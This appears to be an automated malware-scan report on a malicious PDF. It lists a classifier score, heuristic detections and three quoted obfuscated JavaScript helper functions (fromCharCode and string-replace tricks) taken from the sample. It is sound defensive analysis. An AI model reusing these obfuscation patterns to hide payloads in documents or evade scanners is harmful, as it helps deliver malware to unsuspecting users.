T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream is obfuscated and appears to be designed to download and execute a second-stage payload from a remote source. The presence of JavaScript actions and embedded JS streams, along with the ML classification, strongly suggests malicious intent. The specific payload and delivery mechanism could not be fully determined due to obfuscation.

  • Nyx PDF Classifier malicious score 0.9978

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function jgsdfgergeg(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
    function opjifodshguidfs(asd){return String.fromCharCode(asd);}
    function uvysaudyfqwufqw(str){return str.replace(/p/g,",");}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
